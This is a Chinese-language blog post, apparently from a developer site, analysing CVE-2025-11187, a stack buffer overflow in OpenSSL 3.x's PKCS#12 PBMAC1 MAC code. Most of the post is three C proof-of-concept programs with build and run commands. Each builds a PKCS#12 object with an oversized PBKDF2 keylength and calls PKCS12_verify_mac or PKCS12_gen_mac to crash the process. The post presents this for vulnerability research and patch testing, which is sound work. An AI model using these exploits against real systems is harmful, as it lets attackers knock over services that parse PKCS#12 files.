OpenSSL PKCS#12 PBMAC1 堆栈缓冲区溢出漏洞 (CVE-2025-11187) 分析与验证

OpenSSL PKCS#12 PBMAC1 堆栈缓冲区溢出漏洞 (CVE-2025-11187)

项目概述

本项目针对 OpenSSL 3.x 版本中发现的一个堆栈缓冲区溢出漏洞(CVE-2025-11187)进行了深入分析和验证。该漏洞位于 libcrypto 库的 PKCS#12 PBMAC1 实现中,当解析恶意构造的 PKCS#12 文件时,攻击者可通过控制 PBKDF2 的 keylength 参数触发堆栈缓冲区溢出,导致拒绝服务(DoS)。

功能特性

  • 漏洞复现 PoC:提供多个独立的概念验证代码,展示如何触发 CVE-2025-11187 漏洞
  • 详细代码注释:核心代码包含完整的注释说明,帮助理解漏洞触发机制
  • 灵活的测试参数:支持自定义 keylength、迭代次数和摘要算法进行测试
  • 内存安全分析 :演示了在 OpenSSL 3.x 中 PKCS12_gen_mac() 函数的栈溢出问题

安装指南

系统要求

  • OpenSSL 3.x(3.0+ 至 3.6.0 受影响)
  • GCC 编译器
  • OpenSSL 开发库

依赖安装(Ubuntu/Debian)

bash 复制代码
sudo apt update
sudo apt install openssl libssl-dev gcc make

编译 PoC

所有 PoC 文件编译时需链接 OpenSSL 库:

bash 复制代码
# 编译第一个 PoC(直接栈溢出触发)
gcc -o poc1 poc1.c -lssl -lcrypto

# 编译第二个 PoC(参数化 keylength)
gcc -o poc2 poc2.c -lssl -lcrypto

# 编译第三个 PoC(最小化构造)
gcc -o poc3 poc3.c -lssl -lcrypto

使用说明

基础用法

PoC 1: 直接触发栈溢出
bash 复制代码
./poc1

该程序创建一个带有超大 keylength(4096)的恶意 PKCS#12 结构,调用 PKCS12_verify_mac() 时触发栈溢出。

PoC 2: 参数化 Keylength
bash 复制代码
# 使用默认参数(keylength=4096, iter=1000, sha256)
./poc2 4096

# 自定义迭代次数和摘要算法
./poc2 8192 10000 sha512
PoC 3: 最小化构造 + 漏洞触发
bash 复制代码
./poc3 4096

典型使用场景

  1. 安全研究人员:使用 PoC 验证目标 OpenSSL 版本是否存在漏洞
  2. 开发人员:理解漏洞成因,评估升级必要性
  3. 测试人员:在受控环境中测试补丁有效性

核心代码

漏洞触发核心代码(poc1.c)

c 复制代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/pkcs12.h>
#include <openssl/evp.h>
#include <openssl/x509.h>
#include <openssl/pkcs7.h>
#include <openssl/objects.h>
#include <openssl/rand.h>
#include <openssl/err.h>
#include "crypto/pkcs12/p12_local.h"

static void die(const char *msg) {
    fprintf(stderr, "%s\n", msg);
    ERR_print_errors_fp(stderr);
    exit(1);
}

int main(void) {
    ERR_load_crypto_strings();

    // 创建 PKCS12 对象
    PKCS12 *p12 = PKCS12_new();
    if (!p12) die("PKCS12_new failed");

    // 设置 authsafes 数据
    p12->authsafes = PKCS7_new();
    if (!p12->authsafes) die("authsafes alloc failed");
    if (!PKCS7_set_type(p12->authsafes, NID_pkcs7_data)) die("PKCS7_set_type failed");
    ASN1_OCTET_STRING *os = ASN1_OCTET_STRING_new();
    if (!os) die("octet string alloc failed");
    const unsigned char payload[] = {0x01,0x02,0x03};
    if (!ASN1_OCTET_STRING_set(os, payload, (int)sizeof(payload))) die("octet set failed");
    p12->authsafes->d.data = os;

    // 初始化 PBMAC1 参数(使用 PKCS12_set_pbmac1_pbkdf2)
    if (!PKCS12_set_pbmac1_pbkdf2(p12, "pass", 4, NULL, 16, 1000, EVP_sha256(), NULL))
        die("PKCS12_set_pbmac1_pbkdf2 failed");

    X509_ALGOR *macalg = NULL;
    ASN1_OCTET_STRING *macoct = NULL;
    X509_SIG_getm(p12->mac->dinfo, &macalg, &macoct);

    // 手动构造 PBMAC1PARAM,设置超大 keylength
    PBMAC1PARAM *param = PBMAC1PARAM_new();
    if (!param) die("PBMAC1PARAM_new failed");

    X509_ALGOR *hmac_alg = X509_ALGOR_new();
    if (!hmac_alg) die("hmac alg alloc failed");
    if (!X509_ALGOR_set0(hmac_alg, OBJ_nid2obj(NID_hmacWithSHA256), V_ASN1_NULL, NULL))
        die("X509_ALGOR_set0 hmac failed");

    unsigned char salt[8];
    if (RAND_bytes(salt, sizeof(salt)) <= 0) die("RAND_bytes failed");
    // 关键:设置超大 keylength 触发栈溢出
    int keylen = 4096;
    X509_ALGOR *alg = PKCS5_pbkdf2_set(1000, salt, (int)sizeof(salt), NID_hmacWithSHA256, keylen);
    if (!alg) die("PKCS5_pbkdf2_set failed");

    param->keyDerivationFunc = alg;
    param->messageAuthScheme = hmac_alg;

    if (!ASN1_TYPE_pack_sequence(ASN1_ITEM_rptr(PBMAC1PARAM), param, &macalg->parameter))
        die("pack PBMAC1PARAM failed");

    PBMAC1PARAM_free(param);

    // 触发漏洞:PKCS12_verify_mac 调用 PKCS12_gen_mac 时栈溢出
    int ok = PKCS12_verify_mac(p12, "pass", 4);
    printf("verify result: %d\n", ok);

    PKCS12_free(p12);
    return 0;
}

参数化 Keylength 构造(poc2.c 关键函数)

c 复制代码
static void set_pbmac1_keylen(PKCS12 *p12, const EVP_MD *md, int iter, int keylen)
{
    // 使用 OpenSSL API 初始化 PBMAC1
    if (!PKCS12_set_pbmac1_pbkdf2(p12, "pass", 4, NULL, 16, iter, md, NULL))
        die("PKCS12_set_pbmac1_pbkdf2 failed");

    X509_ALGOR *macalg = NULL; 
    ASN1_OCTET_STRING *macoct = NULL;
    X509_SIG_getm(p12->mac->dinfo, &macalg, &macoct);
    
    // 获取 PBKDF2 参数结构体
    PBKDF2PARAM *pbkdf2 = PBMAC1_get1_pbkdf2_param(macalg);
    if (pbkdf2 == NULL) die("PBMAC1_get1_pbkdf2_param failed");
    
    // 直接修改 keylength 字段
    if (pbkdf2->keylength == NULL)
        pbkdf2->keylength = ASN1_INTEGER_new();
    ASN1_INTEGER_set(pbkdf2->keylength, keylen);

    // 重新编码并设置回 macalg
    unsigned char *der = NULL; 
    int derlen = i2d_PBKDF2PARAM(pbkdf2, &der);
    if (derlen <= 0) die("i2d_PBKDF2PARAM failed");
    ASN1_STRING *kdfparam = ASN1_STRING_new();
    if (kdfparam == NULL) die("ASN1_STRING_new failed");
    ASN1_STRING_set0(kdfparam, der, derlen);
    X509_ALGOR_set0(macalg, OBJ_nid2obj(NID_pbmac1), V_ASN1_SEQUENCE, kdfparam);
    PBKDF2PARAM_free(pbkdf2);
}

int main(int argc, char **argv)
{
    ERR_load_crypto_strings();
    if (argc < 2) { 
        fprintf(stderr, "Usage: %s <keylength> [iter] [digest]\n", argv[0]); 
        return 1; 
    }
    
    int keylen = atoi(argv[1]);      // 从命令行获取 keylength
    int iter = (argc >= 3) ? atoi(argv[2]) : 1000;
    const char *dg = (argc >= 4) ? argv[3] : "sha256";
    const EVP_MD *md = EVP_get_digestbyname(dg);
    if (!md) die("Unknown digest");

    PKCS12 *p12 = PKCS12_new();
    if (!p12) die("PKCS12_new failed");
    set_authsafes_data(p12);
    set_pbmac1_keylen(p12, md, iter, keylen);

    // 直接调用 PKCS12_gen_mac,不经过 verify 包装
    unsigned char mac[EVP_MAX_MD_SIZE]; 
    unsigned int maclen = 0;
    int ok = PKCS12_gen_mac(p12, "pass", 4, mac, &maclen);
    printf("verify_mac returned: %d, maclen=%u\n", ok, maclen);
    PKCS12_free(p12);
    return 0;
}

最小化 PKCS12 构造(poc3.c)

c 复制代码
static PKCS12 *build_p12_min(void)
{
    STACK_OF(PKCS12_SAFEBAG) *bags = NULL;
    PKCS12_SAFEBAG *bag = NULL;
    PKCS7 *p7 = NULL;
    STACK_OF(PKCS7) *safes = NULL;
    PKCS12 *p12 = NULL;
    unsigned char secret[] = { 0xAA };

    // 创建最小化的安全包
    bags = sk_PKCS12_SAFEBAG_new_null();
    if (bags == NULL) die("sk_PKCS12_SAFEBAG_new_null failed");

    bag = PKCS12_SAFEBAG_create_secret(NID_secretBag, V_ASN1_OCTET_STRING, secret, (int)sizeof(secret));
    if (bag == NULL) die("PKCS12_SAFEBAG_create_secret failed");
    if (!sk_PKCS12_SAFEBAG_push(bags, bag)) die("push bag failed");

    // 打包为 PKCS7 数据
    p7 = PKCS12_pack_p7data(bags);
    if (p7 == NULL) die("PKCS12_pack_p7data failed");

    safes = sk_PKCS7_new_null();
    if (safes == NULL) die("sk_PKCS7_new_null failed");
    if (!sk_PKCS7_push(safes, p7)) die("push p7 failed");

    // 创建 PKCS12 对象
    p12 = PKCS12_add_safes(safes, NID_pkcs7_data);
    if (p12 == NULL) die("PKCS12_add_safes failed");

    sk_PKCS12_SAFEBAG_pop_free(bags, PKCS12_SAFEBAG_free);
    sk_PKCS7_pop_free(safes, PKCS7_free);
    return p12;
}

static void set_pbmac1_keylen(PKCS12 *p12, const EVP_MD *md, int iter, int keylen)
{
    // 使用公开 API 设置 PBMAC1
    if (!PKCS12_set_pbmac1_pbkdf2(p12, "pass", 4, NULL, 16, iter, md, NULL))
        die("PKCS12_set_pbmac1_pbkdf2 failed");

    // 获取 MAC 算法参数
    const ASN1_OCTET_STRING *pmac = NULL;
    const X509_ALGOR *macalg_const = NULL;
    PKCS12_get0_mac(&pmac, &macalg_const, NULL, NULL, p12);
    if (macalg_const == NULL) die("PKCS12_get0_mac failed");

    // 解包 PBMAC1PARAM
    PBMAC1PARAM *param = ASN1_TYPE_unpack_sequence(ASN1_ITEM_rptr(PBMAC1PARAM), macalg_const->parameter);
    if (param == NULL) die("unpack PBMAC1PARAM failed");

    // 解包 PBKDF2PARAM
    PBKDF2PARAM *pbkdf2 = ASN1_TYPE_unpack_sequence(ASN1_ITEM_rptr(PBKDF2PARAM), param->keyDerivationFunc->parameter);
    if (pbkdf2 == NULL) die("unpack PBKDF2PARAM failed");

    // 设置超大的 keylength
    if (pbkdf2->keylength == NULL) {
        pbkdf2->keylength = ASN1_INTEGER_new();
        if (pbkdf2->keylength == NULL) die("ASN1_INTEGER_new keylength failed");
    }
    ASN1_INTEGER_set(pbkdf2->keylength, keylen);

    // 重新打包参数
    if (ASN1_TYPE_pack_sequence(ASN1_ITEM_rptr(PBKDF2PARAM), pbkdf2, &param->keyDerivationFunc->parameter) == NULL)
        die("pack PBKDF2PARAM failed");
    PBKDF2PARAM_free(pbkdf2);

    X509_ALGOR *macalg = (X509_ALGOR *)macalg_const;
    if (ASN1_TYPE_pack_sequence(ASN1_ITEM_rptr(PBMAC1PARAM), param, &macalg->parameter) == NULL)
        die("pack PBMAC1PARAM failed");
    PBMAC1PARAM_free(param);
}

漏洞影响

  • 受影响版本:OpenSSL 3.x(3.0 至 3.6.0)
  • 影响组件:libcrypto(PKCS#12 MAC)、providers(PBKDF2)
  • 攻击向量:解析恶意构造的 PKCS#12 文件
  • 影响后果:拒绝服务(堆栈缓冲区溢出) 6HFtX5dABrKlqXeO5PUv/6INvAoT4v1AouclTEs3+XE=
相关推荐
用户5191495848452 小时前
HP Sound Research SECOMNService 权限提升漏洞利用工具
人工智能·aigc
用户018349301692 小时前
给 AI 智能体能力包一层 BFF,前端只调一个接口
人工智能
这token有力气6 小时前
Function Calling 格式漂移
人工智能
onething3656 小时前
Spring Boot + Spring AI 从入门到实战:7天转型计划 Day 5 —— SSE 流式输出 + 打字机效果
人工智能·后端·全栈
onething3656 小时前
Spring Boot + Spring AI 从入门到实战:7天转型计划 Day 6 —— 业务完善 + 会话消息预览
人工智能·后端·全栈
IT_陈寒7 小时前
SpringBoot自动配置的坑,我爬了三天才出来
前端·人工智能·后端
甲维斯8 小时前
笑抽了!DeepSeek识图,豆包完胜了!
人工智能·deepseek
Lei活在当下17 小时前
【AI手记系列-2026/6/18】iSparto & Harness,Caveman 以及AI时代的生存指南
人工智能·llm·openai
冬奇Lab18 小时前
每日一个开源项目(第134篇):Zvec - 阿里开源的嵌入式向量数据库,向量搜索界的 SQLite
数据库·人工智能·llm